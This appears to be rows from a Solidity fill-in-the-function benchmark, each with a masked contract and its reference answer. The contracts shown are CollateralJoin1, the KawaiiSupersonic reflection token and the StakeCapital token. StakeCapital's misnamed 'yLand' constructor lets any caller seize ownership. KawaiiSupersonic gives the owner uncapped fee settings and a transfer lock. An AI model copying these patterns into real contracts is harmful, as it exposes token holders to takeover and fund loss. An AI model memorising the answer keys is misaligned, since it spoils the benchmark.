event DisableContract();
event Join(address sender, address usr, uint wad);
event Exit(address sender, address usr, uint wad);
constructor(address safeEngine_, bytes32 collateralType_, address collateral_) public {<FILL_FUNCTION_BODY> }
// --- Math ---
function addition(uint x, int y) internal pure returns (uint z) {
z = x + uint(y);
require(y >= 0 || z <= x);
require(y <= 0 || z >= x);
}
// --- Administration ---
function disableContract() external isAuthorized {
contractEnabled = 0;
emit DisableContract();
}
// --- Collateral Gateway ---
function join(address usr, uint wad) external {
require(contractEnabled == 1, "CollateralJoin1/not-contractEnabled");
require(int(wad) >= 0, "CollateralJoin1/overflow");
safeEngine.modifyCollateralBalance(collateralType, usr, int(wad));
require(collateral.transferFrom(msg.sender, address(this), wad), "CollateralJoin1/failed-transfer");
emit Join(msg.sender, usr, wad);
}
function exit(address usr, uint wad) external {
require(wad <= 2 ** 255, "CollateralJoin1/overflow");
safeEngine.modifyCollateralBalance(collateralType, msg.sender, -int(wad));
require(collateral.transfer(usr, wad), "CollateralJoin1/failed-transfer");
emit Exit(msg.sender, usr, wad);
}
} | contract CollateralJoin1 {
// --- Auth ---
mapping (address => uint) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 1;
emit AddAuthorization(account);
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 0;
emit RemoveAuthorization(account);
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
require(authorizedAccounts[msg.sender] == 1, "CollateralJoin1/account-not-authorized");
_;
}
SAFEEngineLike public safeEngine;
bytes32 public collateralType;
CollateralLike public collateral;
uint public decimals;
uint public contractEnabled; // Access Flag
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event DisableContract();
event Join(address sender, address usr, uint wad);
event Exit(address sender, address usr, uint wad);
<FILL_FUNCTION>
// --- Math ---
function addition(uint x, int y) internal pure returns (uint z) {
z = x + uint(y);
require(y >= 0 || z <= x);
require(y <= 0 || z >= x);
}
// --- Administration ---
function disableContract() external isAuthorized {
contractEnabled = 0;
emit DisableContract();
}
// --- Collateral Gateway ---
function join(address usr, uint wad) external {
require(contractEnabled == 1, "CollateralJoin1/not-contractEnabled");
require(int(wad) >= 0, "CollateralJoin1/overflow");
safeEngine.modifyCollateralBalance(collateralType, usr, int(wad));
require(collateral.transferFrom(msg.sender, address(this), wad), "CollateralJoin1/failed-transfer");
emit Join(msg.sender, usr, wad);
}
function exit(address usr, uint wad) external {
require(wad <= 2 ** 255, "CollateralJoin1/overflow");
safeEngine.modifyCollateralBalance(collateralType, msg.sender, -int(wad));
require(collateral.transfer(usr, wad), "CollateralJoin1/failed-transfer");
emit Exit(msg.sender, usr, wad);
}
} |
authorizedAccounts[msg.sender] = 1;
contractEnabled = 1;
safeEngine = SAFEEngineLike(safeEngine_);
collateralType = collateralType_;
collateral = CollateralLike(collateral_);
decimals = collateral.decimals();
emit AddAuthorization(msg.sender);
| constructor(address safeEngine_, bytes32 collateralType_, address collateral_) public | constructor(address safeEngine_, bytes32 collateralType_, address collateral_) public |
17332 | KawaiiSupersonic | _reflectFee | contract KawaiiSupersonic is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
struct TValues{
uint256 tTransferAmount;
uint256 tFee;
uint256 tBurn;
}
struct RValues{
uint256 rate;
uint256 rAmount;
uint256 rTransferAmount;
uint256 tTransferAmount;
uint256 rFee;
uint256 tFee;
uint256 rBurn;
}
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private _name = "Kawaii Supersonic";
string private _symbol = "KAWAII";
uint8 private _decimals = 18;
//2%
uint256 public _taxFee = 2;
uint256 private _previousTaxFee = _taxFee;
//3%
uint256 public _burnFee = 2;
uint256 private _previousBurnFee = _burnFee;
//No limit
uint256 public _maxTxAmount = _tTotal;
//locks the contract for any transfers
bool public isTransferLocked = true;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(,RValues memory values) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(values.rAmount);
_rTotal = _rTotal.sub(values.rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
(,RValues memory values) = _getValues(tAmount);
if (!deductTransferFee) {
return values.rAmount;
} else {
return values.rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(!isTransferLocked || _isExcludedFromFee[from], "Transfer is locked before presale is completed.");
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(TValues memory tValues, RValues memory rValues) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rValues.rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rValues.rTransferAmount);
_reflectFee(rValues.rFee, rValues.rBurn, tValues.tFee, tValues.tBurn);
emit Transfer(sender, recipient, tValues.tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(TValues memory tValues, RValues memory rValues) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rValues.rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tValues.tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rValues.rTransferAmount);
_reflectFee(rValues.rFee, rValues.rBurn, tValues.tFee, tValues.tBurn);
emit Transfer(sender, recipient, tValues.tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(TValues memory tValues, RValues memory rValues) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rValues.rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rValues.rTransferAmount);
_reflectFee(rValues.rFee, rValues.rBurn, tValues.tFee, tValues.tBurn);
emit Transfer(sender, recipient, tValues.tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(TValues memory tValues, RValues memory rValues) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rValues.rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tValues.tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rValues.rTransferAmount);
_reflectFee(rValues.rFee, rValues.rBurn, tValues.tFee, tValues.tBurn);
emit Transfer(sender, recipient, tValues.tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {<FILL_FUNCTION_BODY> }
function _getValues(uint256 tAmount) private view returns (TValues memory tValues, RValues memory rValues) {
tValues = _getTValues(tAmount);
rValues = _getRValues(tAmount,tValues);
}
function _getTValues(uint256 tAmount) private view returns (TValues memory values) {
values.tFee = calculateTaxFee(tAmount);
values.tBurn = calculateBurnFee(tAmount);
values.tTransferAmount = tAmount.sub(values.tFee).sub(values.tBurn);
}
function _getRValues(uint256 tAmount, TValues memory tValues) private view returns (RValues memory values) {
values.rate = _getRate();
values.rAmount = tAmount.mul(values.rate);
values.rFee = tValues.tFee.mul(values.rate);
values.rBurn = tValues.tBurn.mul(values.rate);
values.rTransferAmount = values.rAmount.sub(values.rFee).sub(values.rBurn);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_burnFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _burnFee == 0) return;
_previousTaxFee = _taxFee;
_previousBurnFee = _burnFee;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_burnFee = _previousBurnFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setBurnFeePercent(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxPercent(uint256 maxTxPercent, uint256 maxTxDecimals) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**(uint256(maxTxDecimals) + 2)
);
}
function setIsTransferLocked(bool enabled) public onlyOwner {
isTransferLocked = enabled;
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
} | contract KawaiiSupersonic is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
struct TValues{
uint256 tTransferAmount;
uint256 tFee;
uint256 tBurn;
}
struct RValues{
uint256 rate;
uint256 rAmount;
uint256 rTransferAmount;
uint256 tTransferAmount;
uint256 rFee;
uint256 tFee;
uint256 rBurn;
}
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private _name = "Kawaii Supersonic";
string private _symbol = "KAWAII";
uint8 private _decimals = 18;
//2%
uint256 public _taxFee = 2;
uint256 private _previousTaxFee = _taxFee;
//3%
uint256 public _burnFee = 2;
uint256 private _previousBurnFee = _burnFee;
//No limit
uint256 public _maxTxAmount = _tTotal;
//locks the contract for any transfers
bool public isTransferLocked = true;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(,RValues memory values) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(values.rAmount);
_rTotal = _rTotal.sub(values.rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
(,RValues memory values) = _getValues(tAmount);
if (!deductTransferFee) {
return values.rAmount;
} else {
return values.rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(!isTransferLocked || _isExcludedFromFee[from], "Transfer is locked before presale is completed.");
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(TValues memory tValues, RValues memory rValues) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rValues.rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rValues.rTransferAmount);
_reflectFee(rValues.rFee, rValues.rBurn, tValues.tFee, tValues.tBurn);
emit Transfer(sender, recipient, tValues.tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(TValues memory tValues, RValues memory rValues) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rValues.rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tValues.tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rValues.rTransferAmount);
_reflectFee(rValues.rFee, rValues.rBurn, tValues.tFee, tValues.tBurn);
emit Transfer(sender, recipient, tValues.tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(TValues memory tValues, RValues memory rValues) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rValues.rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rValues.rTransferAmount);
_reflectFee(rValues.rFee, rValues.rBurn, tValues.tFee, tValues.tBurn);
emit Transfer(sender, recipient, tValues.tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(TValues memory tValues, RValues memory rValues) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rValues.rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tValues.tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rValues.rTransferAmount);
_reflectFee(rValues.rFee, rValues.rBurn, tValues.tFee, tValues.tBurn);
emit Transfer(sender, recipient, tValues.tTransferAmount);
}
<FILL_FUNCTION>
function _getValues(uint256 tAmount) private view returns (TValues memory tValues, RValues memory rValues) {
tValues = _getTValues(tAmount);
rValues = _getRValues(tAmount,tValues);
}
function _getTValues(uint256 tAmount) private view returns (TValues memory values) {
values.tFee = calculateTaxFee(tAmount);
values.tBurn = calculateBurnFee(tAmount);
values.tTransferAmount = tAmount.sub(values.tFee).sub(values.tBurn);
}
function _getRValues(uint256 tAmount, TValues memory tValues) private view returns (RValues memory values) {
values.rate = _getRate();
values.rAmount = tAmount.mul(values.rate);
values.rFee = tValues.tFee.mul(values.rate);
values.rBurn = tValues.tBurn.mul(values.rate);
values.rTransferAmount = values.rAmount.sub(values.rFee).sub(values.rBurn);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_burnFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _burnFee == 0) return;
_previousTaxFee = _taxFee;
_previousBurnFee = _burnFee;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_burnFee = _previousBurnFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setBurnFeePercent(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxPercent(uint256 maxTxPercent, uint256 maxTxDecimals) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**(uint256(maxTxDecimals) + 2)
);
}
function setIsTransferLocked(bool enabled) public onlyOwner {
isTransferLocked = enabled;
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
} |
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
| function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private | function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private |
68346 | StakeCapital | burn | contract StakeCapital is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public constant name = "Stake Capital";
string public constant symbol = "STAKE";
uint public constant decimals = 18;
uint256 public totalSupply = 70000e18;
uint256 public totalDistributed = 0;
uint256 public totalRemaining = totalSupply.sub(totalDistributed);
uint256 public value;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function yLand () public {
owner = msg.sender;
value = 0;
distr(owner, totalDistributed);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
Distr(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
amounts[i]=amounts[i].mul(1e18);
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
// mitigates the ERC20 spend/approval race condition
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function burn(uint256 _value) onlyOwner public {<FILL_FUNCTION_BODY> }
} | contract StakeCapital is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public constant name = "Stake Capital";
string public constant symbol = "STAKE";
uint public constant decimals = 18;
uint256 public totalSupply = 70000e18;
uint256 public totalDistributed = 0;
uint256 public totalRemaining = totalSupply.sub(totalDistributed);
uint256 public value;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function yLand () public {
owner = msg.sender;
value = 0;
distr(owner, totalDistributed);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
Distr(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public {
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
amounts[i]=amounts[i].mul(1e18);
require(amounts[i] <= totalRemaining);
distr(addresses[i], amounts[i]);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
// mitigates the ERC20 short address attack
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
